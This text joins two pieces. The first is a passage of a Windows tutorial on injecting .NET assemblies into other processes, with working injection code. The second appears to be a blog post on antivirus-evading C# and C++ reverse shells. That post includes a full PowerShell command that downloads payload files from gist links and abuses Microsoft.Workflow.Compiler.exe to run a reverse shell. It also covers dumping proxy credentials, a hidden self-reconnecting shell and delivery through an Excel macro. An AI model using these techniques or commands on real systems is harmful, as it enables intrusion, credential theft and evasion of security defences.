    	return (DWORD_PTR)me32.modBaseAddr;
    
    return 0;
}

Knowing the base address of the DLL in the remote process is a step in the right direction. It is time to devise a strategy for acquiring the address of an arbitrary exported function. To recap, it is known how to call LoadLibraryand obtain a handle to the loaded module in a remote process. Knowing this, it is trivial to invoke LoadLibrarylocally (within the calling process) and obtain a handle to the loaded module. This handle (which is also the base address of the module) may or may not be the same as the one in the remote process, even though it is the same library. Nevertheless, with some basic math we can acquire the address for any exported function we wish. The idea is that although the base address of a module may differ from process to process, the offset of any given function relative to the base address of the module is constant. As an example, take the following exported function found in the Bootstrap DLL project in the source download:

__declspec(dllexport) HRESULT ImplantDotNetAssembly(_In_ LPCTSTR lpCommand)

Before this function can be invoked remotely, the Bootstrap.dll module must first be loaded in the remote process. Using Process Hacker, here is a screenshot of where the Windows loader placed the Bootstrap.dll module in memory when injected into Firefox:

Firefox Bootstap.dllContinuing with our strategy, here is a sample program that loads the Bootstrap.dll module locally (within the calling process):

#include <windows.h>

int wmain(int argc, wchar_t* argv[])
{
    HMODULE hLoaded = LoadLibrary(
        L"T:\\FrameworkInjection\\_build\\release\\x86\\Bootstrap.dll");
    system("pause");
    return 0;
}

When the above program is run, here is a screenshot of where Windows decided to load the Bootstrap.dllmodule:

Test Bootstrap.dllThe next step is, within wmain, to make a call to GetProcAddress to get the address of the ImplantDotNetAssembly function:

#include <windows.h>

int wmain(int argc, wchar_t* argv[])
{
    HMODULE hLoaded = LoadLibrary(
        L"T:\\FrameworkInjection\\_build\\debug\\x86\\Bootstrap.dll");
    
    // get the address of ImplantDotNetAssembly
    void* lpInject = GetProcAddress(hLoaded, "ImplantDotNetAssembly");
    
    system("pause");
    return 0;
}

The address of a function within a module will always be higher than the module’s base address. Here is where basic math comes in to play. Below is a table to help illustrate:

Firefox.exe | Bootstrap.dll @ 0x50d0000 | ImplantDotNetAssembly @ ?
test.exe | Bootstrap.dll @ 0xf270000 | ImplantDotNetAssembly @ 0xf271490 (lpInject)

Test.exe shows that Bootstrap.dll is loaded at address 0xf270000, and that ImplantDotNetAssembly can be found in memory at address 0xf271490. Subtracting the address of ImplantDotNetAssembly from the address of Bootstrap.dll will give the offset of the function relative to the base address of the module. The math shows that ImplantDotNetAssembly is (0xf271490 — 0xf270000) = 0x1490 bytes into the module. This offset can then be added onto the base address of the Bootstrap.dll module in the remote process to reliably give the address of ImplantDotNetAssembly relative to the remote process. The math to compute the address of ImplantDotNetAssembly in Firefox.exe shows that the function is located at address (0x50d0000 + 0x1490) = 0x50d1490. The following function computes the offset of a given function in a given module:

DWORD_PTR GetFunctionOffset(const wstring& library, const char* functionName)
{
    // load library into this process
    HMODULE hLoaded = LoadLibrary(library.c_str());
    
    // get address of function to invoke
    void* lpInject = GetProcAddress(hLoaded, functionName);
    
    // compute the distance between the base address and the function to invoke
    DWORD_PTR offset = (DWORD_PTR)lpInject - (DWORD_PTR)hLoaded;
    
    // unload library from this process
    FreeLibrary(hLoaded);
    
    // return the offset to the function
    return offset;
}

It is worth noting that ImplantDotNetAssembly intentionally matches the signature of LPTHREAD_START_ROUTINE; as should all methods passed to CreateRemoteThread. Armed with the ability to execute arbitrary functions in a remote DLL, the logic to initialize the CLR has been put inside functionImplantDotNetAssembly in Bootstrap.dll. Once Bootstrap.dll is loaded in a remote process, the address of ImplantDotNetAssembly can be computed for the remote instance and then invoked via CreateRemoteThread. This is it, the final piece of the puzzle; now it is time to put it all together.

Putting It All Together

The main reason behind using an unmanaged DLL (Bootstrap.dll) to load the CLR is that if the CLR is not running in the remote process, the only way to start it is from unmanaged code (barring use of a scripting language such as Python, which has its own set of dependencies).

In addition, it would be nice for the Inject application to be flexible enough to accept input on the command line; because who would want to recompile every time their app changes? The Inject application accepts the following options:

 m The name of the managed method to execute. ex~ EntryPoint
 i The fully qualified path of the managed assembly to inject inside of the remote process. ex~ C:\InjectExample.exe
 l The fully qualified type name of the managed assembly. ex~ InjectExample.Program
 a An optional argument to pass into the managed function.
 n The process ID or the name of the process to inject. ex~ 1500 or notepad.exe

The wmain method for Inject looks like:

int wmain(int argc, wchar_t* argv[])
{	
    // parse args (-m -i -l -a -n)
    if (!ParseArgs(argc, argv))
    {
        PrintUsage();
        return -1;
    }
    
    // enable debug privileges
    EnablePrivilege(SE_DEBUG_NAME, TRUE);
    
    // get handle to remote process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_processId);
    
    // inject bootstrap.dll into the remote process
    FARPROC fnLoadLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"), 
        "LoadLibraryW");
    Inject(hProcess, fnLoadLibrary, GetBootstrapPath()); 
    
    // add the function offset to the base of the module in the remote process
    DWORD_PTR hBootstrap = GetRemoteModuleHandle(g_processId, BOOTSTRAP_DLL);
    DWORD_PTR offset = GetFunctionOffset(GetBootstrapPath(), "ImplantDotNetAssembly");
    DWORD_PTR fnImplant = hBootstrap + offset;
    
    // build argument; use DELIM as tokenizer
    wstring argument = g_moduleName + DELIM + g_typeName + DELIM + 
        g_methodName + DELIM + g_Argument;
    
    // inject the managed assembly into the remote process
    Inject(hProcess, (LPVOID)fnImplant, argument);
    
    // unload bootstrap.dll out of the remote process
    FARPROC fnFreeLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"), 
        "FreeLibrary");
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)fnFreeLibrary, 
        (LPVOID)hBootstrap, NULL, 0);
    
    // close process handle
    CloseHandle(hProcess);
    
    return 0;
}

Below is a screenshot of the Inject.exe app being called to inject the .net assembly InjectExample.exe into notepad.exe along with the command line that was used:

«T:\FrameworkInjection\_build\release\x64\Inject.exe» -m EntryPoint -i «T:\FrameworkInjection\_build\release\anycpu\InjectExample.exe» -l InjectExample.Program -a «hello inject» -n «notepad.exe»

inject notepad.exeIt is worthwhile to mention and distinguish the differences between injecting a DLL that was built targetting x86x64, or AnyCPU. Under normal circumstances, the x86 flavor of Inject.exe and Bootstrap.dll should be used to inject x86 processes, and the x64 flavor should be used to inject x64 processes. It is the responsibility of the caller to ensure the proper binaries are used. AnyCPU is a platform available in .net. Targetting AnyCPU tells the CLR to JIT the assembly for the appropriate architecture. This is why the same InjectExample.exe assembly can be injected into either an x86 or x64 process.

Running The Code

Moving on to the fun stuff! There are a few prerequisites for getting the code to run using the default settings.

To build the code:

  1. Visual Studio 2012 Express +
  2. Visual Studio 2012 Express Update 1 +

To run the code:

  1. .Net Framework 4.0 +
  2. Visual C++ Redistributable for Visual Studio 2012 Update 1 +
  3. Windows XP SP3 +

To simplify the the task of building the code, there is a file called build.bat in the source download that will take care of the heavy lifting provided the prerequisites have been installed. It will compile both the debug and release builds along with the corresponding x86, x64, and AnyCPU builds. Each project can also be built independently, and will compile from Visual Studio. The script build.bat will place the binaries in a folder named _build.

The code is also well commented. In addition, c++ 11.0 and .net 4.0 were chosen because both runtimes will execute on all Windows OSes from XP SP3 x86 to Windows 8 x64. As a side note, Microsoft added XP SP3 support for the C++ 11.0 runtime in VS 2012 U1.

Closing Notes

Traditionally, at this point papers tend to wind down and reflect on the techniques learned and other areas of improvement. While this is an excellent place to perform such an exercise, the author decided to do something different and present the reader with a basket full of:

easter eggsAs mentioned in the Introduction, .net is a powerful language. For example, the Reflection API in .net can be leveraged to obtain type information about assemblies. The significance of this is that .net can be used to scan an assembly and return the valid methods that can be used for injection! The source download contains a .net project called InjectGUI. This project contains a managed wrapper around our unmanaged Inject application. InjectGUI displays a list of running processes, decides whether to invoke the 32 or 64 bit version of Inject, as well as scans .net assemblies for valid injectable methods. Within InjectGUI is a file named InjectWrapper.cs which contains the wrapper logic.

There is also a helper class called MethodItem which has the following definition:

public class MethodItem
{
    public string TypeName { get; set; }
    public string Name { get; set; }
    public string ParameterName { get; set; }
}

The following snippet from the ExtractInjectableMethods method will obtain a Collection of type List<MethodItem>, which matches the required method signature:

// find all methods that match: 
//    static int pwzMethodName (String pwzArgument)

private void ExtractInjectableMethods()
{
    // ...

    // open assembly
    Assembly asm = Assembly.LoadFile(ManagedFilename);

    // get valid methods
    InjectableMethods = 
        (from c in asm.GetTypes()
        from m in c.GetMethods(BindingFlags.Static | 
            BindingFlags.Public | BindingFlags.NonPublic)
        where m.ReturnType == typeof(int) &&
            m.GetParameters().Length == 1 &&
            m.GetParameters().First().ParameterType == typeof(string)
        select new MethodItem
        {
            Name = m.Name,
            ParameterName = m.GetParameters().First().Name,
            TypeName = m.ReflectedType.FullName
        }).ToList();

    // ...
}

Now that the valid (injectable) methods have been extracted, the UI should also know if the process to be injected is 32 or 64 bit. To do this, a little help is needed from the Windows API:

[DllImport("kernel32.dll", SetLastError = true, CallingConvention = 
    CallingConvention.Winapi)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWow64Process([In] IntPtr process, 
    [Out] out bool wow64Process);

IsWow64Process is only defined on 64 bit OSes, and it returns true if the app is 32 bit. In .net 4.0, the following property has been introduced: Environment.Is64BitOperatingSystem. This can be used to help determine if the IsWow64Process function is defined as seen in this wrapper function:

private static bool IsWow64Process(int id)
{
    if (!Environment.Is64BitOperatingSystem)
        return true;

    IntPtr processHandle;
    bool retVal;

    try
    {
        processHandle = Process.GetProcessById(id).Handle;
    }
    catch
    {
        return false; // access is denied to the process
    }

    return IsWow64Process(processHandle, out retVal) && retVal;
}

The logic inside the InjectGUI project is fairly straightforward. Some understanding of WPF and Dependency Properties is necessary to understand the UI, however, all the pertinent logic related to injection is in the InjectWrapper class. The UI is built using Modern UI for WPF, and the icons are borrowed from Modern UI Icons. Both projects are open source, and the author is affiliated with neither. Below is a screenshot of InjectGUI in action:

inject gui

Closing Notes Part Deux

This concludes the discussion on injecting .net assemblies into unmanaged processes. Don’t cry because it’s over. Smile ☺ because it happened. ~ William Shakespeare

Undetectable C# & C++ Reverse Shells

Index Attacks list:

  1. Open a simple reverse shell on a target machine using C# code and bypassing AV solutions.
  2. Open a reverse shell with a little bit of persistence on a target machine using C++ code and bypassing AV solutions.
  3. Open C# Reverse Shell via Internet using Proxy Credentials.
  4. Open Reverse Shell via C# on-the-fly compiling with Microsoft.Workflow.Compiler.exe.
  5. Open Reverse Shell via PowerShell & C# live compiling
  6. Open Reverse Shell via Excel Macro, PowerShell and C# live compiling

C# Simple Reverse Shell Code writing

Looking on github there are many examples of C# code that open reverse shells via cmd.exe. In this case i copied part of the codes and used the following simple C# program. No evasion, no persistence, no hiding code, only simple “open socket and launch the cmd.exe on victim machine”:

Simple Reverse shell C# code

Source code link: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc

Kali Linux in listening mode

I put my kali in listening mode on 443 port with netcat, compiled and executed my code.

Scan the exe file with no Threats found

As you can see the .exe file is clean for Windows Defender. From AV side no malicious actions ware already performed. This could be a standard results.

file execution on victim machine

Executing file the cmd instance is visible to the user and if the prompt window will be closed the same will happen for the shell.

Running reconnaissance commands on victim machine from Kali Linux

Running the exe file will spawn immediately the shell on my Kali.

VIRUS TOTAL RESULT

https://www.virustotal.com/#/file/983fe1c7d4cb293d072fcf11f8048058c458a928cbb9169c149b721082cf70aa/detection

C++ Reverse Shell with a little bit of persistence

Trying to go deeper i found different C++ codes with the same goal of the above reverse shell but one has aroused my attention. In particular i founded @NinjaParanoid’s code that opens a reverse shell with a little bit of persistence. Following some details of the code. For all the details go to the original article.

This script has 3 main advantages:

  • while loop that try to reconnect after 5 seconds
  • invisible cmd instance
  • takes arguments if standard attackers ip change
while loop that wait 5 seconds before running
main details
Windows Defender .exe scan

After compiling the code I analyzed it with Windows Defender and no threats were detected. At this time the exe behavior begins to be a bit borderline between malicious and non. As you can imagine as soon as you run the file the shell will be opened after 5 seconds in “silent mode”.

view from attacker’s machine

From user side nothing appears on screen. There is only the background process that automatically reconnects to the Kali every 5 sec if something goes wrong.

view from victim’s machine

VIRUS TOTAL RESULT

VT result

https://www.virustotal.com/#/file/a7592a117d2ebc07b0065a6a9cd8fb186f7374fae5806a24b5bcccd665a0dc07/detection

Open C# Reverse Shell via Internet using Proxy Credentials

Reasoning on how to exploit the proxy credentials to open a reverse shell on the internet from an internal company network I developed the following code:

  • combine the peewpw script to dump Proxy credentials (if are present) from Credential Manager without admin privileges
  • encode the dumped credentials in Base64
  • insert them into Proxy authorization connect.

… and that’s it…

Part of WCMDump code
code related to the proxy connection

…before compile the code you need only the Proxy IP/PORT of the targeted company. For security reason i cannot share the source code for avoid the in the wild exploitation but if you have a little bit of programming skills you will write yourself all the steps chain. Obviously this attack has a very high failure rate because the victim may not have saved the domain credentials on the credential manager making the attack ineffective.

Also in this case no threats were detected by Windows Defender and other enterprise AV solutions.

Thanks to @SocketReve for helping me to write this code.

Open Reverse Shell via C# on-the-fly compiling with Microsoft.Workflow.Compiler.exe

Passing over and looking deeper i found different articles that talks about arbitrary, unsigned code execution in Microsoft.Workflow.Compiler.exe. Here the articles: 123.

As a result of these articles I thought … why not use this technique to open my reverse shell written in C#?

In short, the articles talk about how to abuse the Microsoft.Workflow.Compiler.exe service in order to compile C# code on-the-fly. Here an command example:

standard Microsoft.Workflow.Compiler.exe command line

The REV.txt must need the following XOML structure:

REV.txt XOML code

Below you will find the RAW structure of the C# code that will be compiled (same of the C# reverse shell code described above):

Rev.Shell code

After running the command, the following happens:

  1. Not fileless: the C# source code is fetched from the Rev.Shell file.
  2. Fileless: the C# payload is compiled and executed.
  3. Fileless: the payload opens the reverse shell.
Kali with a simple 443 port in listening
Some commands executed from attacker to victim machine

Open Reverse Shell via PowerShell & C# live compiling

At this point I thought … what could be the next step to evolve this attack to something more usable in a red team or in a real attack?

Easy… to give Microsoft.Workflow.Compiler.exe the files to compile, why not use PowerShell? …and here we are:

powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
prompt command line on a victim machine

With this command the PS will download the two files described above and save them on the file system. Immediately afterwards it will abuse the Microsoft.Workflow.Compiler.exe to compile the C # live code and open the reverse shell. Following the gist links:

PowerShell Commands: https://gist.githubusercontent.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f/raw/7806b5c9642bdf39365c679addb28b6d19f31d76/PowerShell_Command.txt

REV.txt code — Rev.Shell code

Once the PS is launched the reverse shell will be opened without any detection.

Attacker view

Open Reverse Shell via Excel Macro, PowerShell and C# live compiling

As the last step of this series of attacks I tried to insert within a macro the Powershell code just described … and guess what?

The file is not detected as malicious and the reverse shell is opened without any alert.

Macro’s code
Scan result
Reverse shell on a victim machine

VIRUS TOTAL RESULT

https://www.virustotal.com/#/file/e81fe80f61a276d216c726e34ab0defc6e11fa6c333c87ec5c260f0018de89b4/detection

Many of the detections concern the macro that launch powershell and not for the actual behavior of the same. This means that if an attacker were able to obfuscate the code for not being detected or used other service to download the two files it could, without being detected, open a reversed shell as shown above.

Conclusion

Through the opening of several reverse shells written in different ways, this article wants to show that actions at the limit between good and evil are hardly detected by antivirus on the market. The first 2 shells are completely undetectable for all the AV on the market. The signatures related to the malicious macro concern only generic powershell and not the real abuse of microsoft services.

Critically, the arbitrary code execution technique using Microsoft.Workflow.Compiler.exe relies only on the ability to call a command, not on PowerShell. There is no need for the attacker to use some known PowerShell technique that might be detected and blocked by a security solution in place. You gain benefits such as bypassing application whitelisting and new ways of obfuscating malicious behavior. That said, when abusing Microsoft.Workflow.Compiler.exe, a temporary DLL will be created and may be detected by anti-virus.